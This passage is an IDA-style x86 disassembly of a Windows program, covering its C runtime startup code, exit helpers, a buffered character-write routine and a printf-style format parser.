		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_415DDF	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41F670
		push	offset sub_41B124
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		call	dword_41F164	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	dword_742244, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	dword_742240, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	dword_74223C, ecx
		shr	eax, 10h
		mov	dword_742238, eax
		xor	esi, esi
		push	esi
		call	sub_4168FF
		pop	ecx
		test	eax, eax
		jnz	short loc_415E7D
		push	1Ch
		call	sub_415F2C
		pop	ecx


loc_415E7D:				; CODE XREF: seg001:00415E73j
		mov	[ebp-4], esi
		call	sub_41AF6F
		call	dword_41F160	; GetCommandLineA
		mov	dword_743884, eax
		call	sub_41AE3D
		mov	dword_742278, eax
		call	sub_41ABF0
		call	sub_41AB37
		call	sub_415C5C
		mov	[ebp-30h], esi
		lea	eax, [ebp-5Ch]
		push	eax
		call	dword_41F15C	; GetStartupInfoA
		call	sub_41AADF
		mov	[ebp-64h], eax
		test	byte ptr [ebp-30h], 1
		jz	short loc_415ECA
		movzx	eax, word ptr [ebp-2Ch]
		jmp	short loc_415ECD
; ---------------------------------------------------------------------------


loc_415ECA:				; CODE XREF: seg001:00415EC2j
		push	0Ah
		pop	eax


loc_415ECD:				; CODE XREF: seg001:00415EC8j
		push	eax
		push	dword ptr [ebp-64h]
		push	esi
		push	esi
		call	dword_41F0B0	; GetModuleHandleA
		push	eax
		call	sub_40C2D0
		mov	[ebp-60h], eax
		push	eax
		call	sub_415C89
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-68h], ecx
		push	eax
		push	ecx
		call	sub_41A95B
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_415C9A

; =============== S U B	R O U T	I N E =======================================



sub_415F07	proc near		; CODE XREF: sub_414992+16p
					; sub_41AB37+4Ep ...

arg_0		= dword	ptr  4

		cmp	dword_742280, 1
		jnz	short loc_415F15
		call	sub_41B1FC


loc_415F15:				; CODE XREF: sub_415F07+7j
		push	[esp+arg_0]
		call	sub_41B235
		push	0FFh
		call	off_4377A0
		pop	ecx
		pop	ecx
		retn
sub_415F07	endp


; =============== S U B	R O U T	I N E =======================================



sub_415F2C	proc near		; CODE XREF: seg001:00415E77p

arg_0		= dword	ptr  4

		cmp	dword_742280, 1
		jnz	short loc_415F3A
		call	sub_41B1FC


loc_415F3A:				; CODE XREF: sub_415F2C+7j
		push	[esp+arg_0]
		call	sub_41B235
		pop	ecx
		push	0FFh
		call	dword_41F104	; ExitProcess
		retn
sub_415F2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F50	proc near		; CODE XREF: sub_413812+46p
					; sub_413D8A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_416059
		test	al, 40h
		jnz	loc_416059
		test	al, 1
		jz	short loc_415F88
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_416059
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_415F88:				; CODE XREF: sub_415F50+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_415FC2
		cmp	esi, offset dword_437EC8
		jz	short loc_415FB0
		cmp	esi, offset dword_437EE8
		jnz	short loc_415FBB


loc_415FB0:				; CODE XREF: sub_415F50+56j
		push	ebx
		call	sub_41B3CC
		test	eax, eax
		pop	ecx
		jnz	short loc_415FC2


loc_415FBB:				; CODE XREF: sub_415F50+5Ej
		push	esi
		call	sub_41B388
		pop	ecx


loc_415FC2:				; CODE XREF: sub_415F50+4Ej
					; sub_415F50+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41602F
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_415FF2
		push	edi
		push	eax
		push	ebx
		call	sub_41A67D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_416025
; ---------------------------------------------------------------------------


loc_415FF2:				; CODE XREF: sub_415F50+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41600D
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_743540[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_416012
; ---------------------------------------------------------------------------


loc_41600D:				; CODE XREF: sub_415F50+A5j
		mov	eax, offset dword_437E10


loc_416012:				; CODE XREF: sub_415F50+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_416025
		push	2
		push	0
		push	ebx
		call	sub_419DD2
		add	esp, 0Ch


loc_416025:				; CODE XREF: sub_415F50+A0j
					; sub_415F50+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_416043
; ---------------------------------------------------------------------------


loc_41602F:				; CODE XREF: sub_415F50+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41A67D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_416043:				; CODE XREF: sub_415F50+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41604F
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41605E
; ---------------------------------------------------------------------------


loc_41604F:				; CODE XREF: sub_415F50+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_416061
; ---------------------------------------------------------------------------


loc_416059:				; CODE XREF: sub_415F50+10j
					; sub_415F50+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41605E:				; CODE XREF: sub_415F50+FDj
		or	eax, 0FFFFFFFFh


loc_416061:				; CODE XREF: sub_415F50+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_415F50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416065	proc near		; CODE XREF: sub_413812+29p
					; sub_413D8A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41677E
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_416099
; ---------------------------------------------------------------------------


loc_416091:				; CODE XREF: sub_416065+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_416099:				; CODE XREF: sub_416065+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41677E
		cmp	bl, 20h
		jl	short loc_4160BA
		cmp	bl, 78h
		jg	short loc_4160BA
		movsx	eax, bl
		mov	al, [eax+41F65Ch]
		and	eax, 0Fh
		jmp	short loc_4160BC
; ---------------------------------------------------------------------------


loc_4160BA:				; CODE XREF: sub_416065+40j
					; sub_416065+45j
		xor	eax, eax


loc_4160BC:				; CODE XREF: sub_416065+53j
		movsx	eax, byte_41F67C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41676D	; default
		jmp	off_416786[eax*4] ; switch jump


loc_4160DA:				; DATA XREF: seg001:off_416786o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 004160D3 case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_4160F5:				; CODE XREF: sub_416065+6Ej
					; DATA XREF: seg001:off_416786o
		movsx	eax, bl		; jumptable 004160D3 case 2
		sub	eax, 20h
		jz	short loc_416138
		sub	eax, 3
		jz	short loc_41612F
		sub	eax, 8
		jz	short loc_416126
		dec	eax
		dec	eax
		jz	short loc_41611D
		sub	eax, 3
		jnz	loc_41676D	; default
		or	[ebp+var_4], 8
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_41611D:				; CODE XREF: sub_416065+A4j
		or	[ebp+var_4], 4
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_416126:				; CODE XREF: sub_416065+A0j
		or	[ebp+var_4], 1
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_41612F:				; CODE XREF: sub_416065+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_416138:				; CODE XREF: sub_416065+96j
		or	[ebp+var_4], 2
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_416141:				; CODE XREF: sub_416065+6Ej
					; DATA XREF: seg001:off_416786o
		cmp	bl, 2Ah		; jumptable 004160D3 case 3
		jnz	short loc_416169
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_416844
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41676D	; default
		or	[ebp+var_4], 4
		neg	eax


loc_416161:				; CODE XREF: sub_416065+111j
		mov	[ebp+var_20], eax
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_416169:				; CODE XREF: sub_416065+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_416161
; ---------------------------------------------------------------------------


loc_416178:				; CODE XREF: sub_416065+6Ej
					; DATA XREF: seg001:off_416786o
		mov	[ebp+var_10], edx ; jumptable 004160D3 case 4
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_416180:				; CODE XREF: sub_416065+6Ej
					; DATA XREF: seg001:off_416786o
		cmp	bl, 2Ah		; jumptable 004160D3 case 5
		jnz	short loc_4161A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_416844
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41676D	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_4161A3:				; CODE XREF: sub_416065+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_4161B5:				; CODE XREF: sub_416065+6Ej
					; DATA XREF: seg001:off_416786o
		cmp	bl, 49h		; jumptable 004160D3 case 6
		jz	short loc_4161E8
		cmp	bl, 68h
		jz	short loc_4161DF
		cmp	bl, 6Ch
		jz	short loc_4161D6
		cmp	bl, 77h
		jnz	loc_41676D	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_4161D6:				; CODE XREF: sub_416065+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_4161DF:				; CODE XREF: sub_416065+158j
		or	[ebp+var_4], 20h
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_4161E8:				; CODE XREF: sub_416065+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_416201
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_416201
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_416201:				; CODE XREF: sub_416065+186j
					; sub_416065+18Cj
		mov	[ebp+var_30], edx


loc_416204:				; CODE XREF: sub_416065+6Ej
					; DATA XREF: seg001:off_416786o
		mov	ecx, off_4377B0	; jumptable 004160D3 case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_416230
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_4167A6
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_416230:				; CODE XREF: sub_416065+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_4167A6
		add	esp, 0Ch
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_416248:				; CODE XREF: sub_416065+6Ej
					; DATA XREF: seg001:off_416786o
		movsx	eax, bl		; jumptable 004160D3 case 7
		cmp	eax, 67h
		jg	loc_416470
		cmp	eax, 65h
		jge	loc_4162F3
		cmp	eax, 58h
		jg	loc_416351
		jz	loc_4164E4
		sub	eax, 43h
		jz	loc_416314
		dec	eax
		dec	eax
		jz	short loc_4162E9
		dec	eax
		dec	eax
		jz	short loc_4162E9
		sub	eax, 0Ch
		jnz	loc_41666F
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_416292
		or	byte ptr [ebp+var_4+1],	8


loc_416292:				; CODE XREF: sub_416065+227j
					; sub_416065+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41629F
		mov	esi, 7FFFFFFFh


loc_41629F:				; CODE XREF: sub_416065+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_416844
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_4164B8
		test	ecx, ecx
		jnz	short loc_4162C7
		mov	ecx, off_4377AC
		mov	[ebp+var_8], ecx


loc_4162C7:				; CODE XREF: sub_416065+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_4162D0:				; CODE XREF: sub_416065+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_4164AF
		cmp	word ptr [eax],	0
		jz	loc_4164AF
		inc	eax
		inc	eax
		jmp	short loc_4162D0
; ---------------------------------------------------------------------------


loc_4162E9:				; CODE XREF: sub_416065+212j
					; sub_416065+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_4162F3:				; CODE XREF: sub_416065+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_4163D7
		mov	[ebp+var_10], 6
		jmp	loc_4163E5
; ---------------------------------------------------------------------------


loc_416314:				; CODE XREF: sub_416065+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_416320
		or	byte ptr [ebp+var_4+1],	8


loc_416320:				; CODE XREF: sub_416065+2B5j
					; sub_416065+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_416367
		call	sub_416861
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B4AB
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41637A
		mov	[ebp+var_28], 1
		jmp	short loc_41637A
; ---------------------------------------------------------------------------


loc_416351:				; CODE XREF: sub_416065+1FBj
		sub	eax, 5Ah
		jz	short loc_416388
		sub	eax, 9
		jz	short loc_416320
		dec	eax
		jz	loc_41654A
		jmp	loc_41666F
; ---------------------------------------------------------------------------


loc_416367:				; CODE XREF: sub_416065+2C5j
		call	sub_416844
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41637A:				; CODE XREF: sub_416065+2E1j
					; sub_416065+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41666F
; ---------------------------------------------------------------------------


loc_416388:				; CODE XREF: sub_416065+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_416844
		test	eax, eax
		pop	ecx
		jz	short loc_4163C9
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4163C9
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_4163BA
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41666F
; ---------------------------------------------------------------------------


loc_4163BA:				; CODE XREF: sub_416065+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41666C
; ---------------------------------------------------------------------------


loc_4163C9:				; CODE XREF: sub_416065+32Fj
					; sub_416065+336j
		mov	eax, off_4377A8
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_416465
; ---------------------------------------------------------------------------


loc_4163D7:				; CODE XREF: sub_416065+29Dj
		jnz	short loc_4163E5
		cmp	bl, 67h
		jnz	short loc_4163E5
		mov	[ebp+var_10], 1


loc_4163E5:				; CODE XREF: sub_416065+2AAj
					; sub_416065:loc_4163D7j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_437AE8
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_416437
		cmp	[ebp+var_10], 0
		jnz	short loc_416437
		lea	eax, [ebp+var_248]
		push	eax
		call	off_437AF4
		pop	ecx


loc_416437:				; CODE XREF: sub_416065+3BCj
					; sub_416065+3C2j
		cmp	bl, 67h
		jnz	short loc_41644E
		test	esi, esi
		jnz	short loc_41644E
		lea	eax, [ebp+var_248]
		push	eax
		call	off_437AEC
		pop	ecx


loc_41644E:				; CODE XREF: sub_416065+3D5j
					; sub_416065+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_416464
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_416464:				; CODE XREF: sub_416065+3F0j
		push	edi


loc_416465:				; CODE XREF: sub_416065+36Dj
		call	sub_413E90
		pop	ecx
		jmp	loc_41666C
; ---------------------------------------------------------------------------


loc_416470:				; CODE XREF: sub_416065+1E9j
		sub	eax, 69h
		jz	loc_41654A
		sub	eax, 5
		jz	loc_416520
		dec	eax
		jz	loc_41650D
		dec	eax
		jz	short loc_4164DD
		sub	eax, 3
		jz	loc_416292
		dec	eax
		dec	eax
		jz	loc_41654E
		sub	eax, 3
		jnz	loc_41666F
		mov	[ebp+var_2C], 27h
		jmp	short loc_4164EB
; ---------------------------------------------------------------------------


loc_4164AF:				; CODE XREF: sub_416065+270j
					; sub_416065+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41666C
; ---------------------------------------------------------------------------


loc_4164B8:				; CODE XREF: sub_416065+24Fj
		test	ecx, ecx
		jnz	short loc_4164C5
		mov	ecx, off_4377A8
		mov	[ebp+var_8], ecx


loc_4164C5:				; CODE XREF: sub_416065+455j
		mov	eax, ecx


loc_4164C7:				; CODE XREF: sub_416065+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_4164D6
		cmp	byte ptr [eax],	0
		jz	short loc_4164D6
		inc	eax
		jmp	short loc_4164C7
; ---------------------------------------------------------------------------


loc_4164D6:				; CODE XREF: sub_416065+467j
					; sub_416065+46Cj
		sub	eax, ecx
		jmp	loc_41666C
; ---------------------------------------------------------------------------


loc_4164DD:				; CODE XREF: sub_416065+425j
		mov	[ebp+var_10], 8


loc_4164E4:				; CODE XREF: sub_416065+201j
		mov	[ebp+var_2C], 7


loc_4164EB:				; CODE XREF: sub_416065+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_416555
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_416555
; ---------------------------------------------------------------------------


loc_41650D:				; CODE XREF: sub_416065+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_416555
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_416555
; ---------------------------------------------------------------------------


loc_416520:				; CODE XREF: sub_416065+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_416844
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_416539
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41653E
; ---------------------------------------------------------------------------


loc_416539:				; CODE XREF: sub_416065+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41653E:				; CODE XREF: sub_416065+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_41654A:				; CODE XREF: sub_416065+2F7j
					; sub_416065+40Ej
		or	[ebp+var_4], 40h


loc_41654E:				; CODE XREF: sub_416065+432j
		mov	[ebp+var_C], 0Ah


loc_416555:				; CODE XREF: sub_416065+491j
					; sub_416065+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_416567
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_416851
		pop	ecx
		jmp	short loc_4165A8
; ---------------------------------------------------------------------------


loc_416567:				; CODE XREF: sub_416065+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41658E
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_416583
		call	sub_416844
		pop	ecx
		movsx	eax, ax


loc_416580:				; CODE XREF: sub_416065+527j
					; sub_416065+539j
		cdq
		jmp	short loc_4165A8
; ---------------------------------------------------------------------------


loc_416583:				; CODE XREF: sub_416065+510j
		call	sub_416844
		pop	ecx
		movzx	eax, ax
		jmp	short loc_416580
; ---------------------------------------------------------------------------


loc_41658E:				; CODE XREF: sub_416065+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_4165A0
		call	sub_416844
		pop	ecx
		jmp	short loc_416580
; ---------------------------------------------------------------------------


loc_4165A0:				; CODE XREF: sub_416065+531j
		call	sub_416844
		pop	ecx
		xor	edx, edx


loc_4165A8:				; CODE XREF: sub_416065+500j
					; sub_416065+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_4165C9
		test	edx, edx
		jg	short loc_4165C9
		jl	short loc_4165B8
		test	eax, eax
		jnb	short loc_4165C9


loc_4165B8:				; CODE XREF: sub_416065+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_4165CD
; ---------------------------------------------------------------------------


loc_4165C9:				; CODE XREF: sub_416065+547j
					; sub_416065+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_4165CD:				; CODE XREF: sub_416065+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_4165D6
		and	edi, 0


loc_4165D6:				; CODE XREF: sub_416065+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_4165E5
		mov	[ebp+var_10], 1
		jmp	short loc_4165E9
; ---------------------------------------------------------------------------


loc_4165E5:				; CODE XREF: sub_416065+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_4165E9:				; CODE XREF: sub_416065+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4165F3
		and	[ebp+var_1C], 0


loc_4165F3:				; CODE XREF: sub_416065+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_4165F9:				; CODE XREF: sub_416065+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_416609
		mov	eax, esi
		or	eax, edi
		jz	short loc_416644


loc_416609:				; CODE XREF: sub_416065+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_415540
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_4155C0
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41663A
		add	ebx, [ebp+var_2C]


loc_41663A:				; CODE XREF: sub_416065+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_4165F9
; ---------------------------------------------------------------------------


loc_416644:				; CODE XREF: sub_416065+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41666F
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_416662
		test	eax, eax
		jnz	short loc_41666F


loc_416662:				; CODE XREF: sub_416065+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41666C:				; CODE XREF: sub_416065+35Fj
					; sub_416065+406j ...
		mov	[ebp+var_C], eax


loc_41666F:				; CODE XREF: sub_416065+21Bj
					; sub_416065+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41676D	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_4166A7
		test	bh, 1
		jz	short loc_41668C
		mov	[ebp+var_16], 2Dh
		jmp	short loc_4166A0
; ---------------------------------------------------------------------------


loc_41668C:				; CODE XREF: sub_416065+61Fj
		test	bl, 1
		jz	short loc_416697
		mov	[ebp+var_16], 2Bh
		jmp	short loc_4166A0
; ---------------------------------------------------------------------------


loc_416697:				; CODE XREF: sub_416065+62Aj
		test	bl, 2
		jz	short loc_4166A7
		mov	[ebp+var_16], 20h


loc_4166A0:				; CODE XREF: sub_416065+625j
					; sub_416065+630j
		mov	[ebp+var_1C], 1


loc_4166A7:				; CODE XREF: sub_416065+61Aj
					; sub_416065+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_4166C7
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4167DB
		add	esp, 10h


loc_4166C7:				; CODE XREF: sub_416065+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41680C
		add	esp, 10h
		test	bl, 8
		jz	short loc_4166F9
		test	bl, 4
		jnz	short loc_4166F9
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_4167DB
		add	esp, 10h


loc_4166F9:				; CODE XREF: sub_416065+67Bj
					; sub_416065+680j
		cmp	[ebp+var_24], 0
		jz	short loc_416740
		cmp	[ebp+var_C], 0
		jle	short loc_416740
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41670E:				; CODE XREF: sub_416065+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41B4AB
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_416755
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41680C
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41670E
		jmp	short loc_416755
; ---------------------------------------------------------------------------


loc_416740:				; CODE XREF: sub_416065+698j
					; sub_416065+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41680C
		add	esp, 10h


loc_416755:				; CODE XREF: sub_416065+6BCj
					; sub_416065+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41676D ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4167DB
		add	esp, 10h


loc_41676D:				; CODE XREF: sub_416065+68j
					; sub_416065+8Bj ...
		mov	edi, [ebp+arg_4] ; default
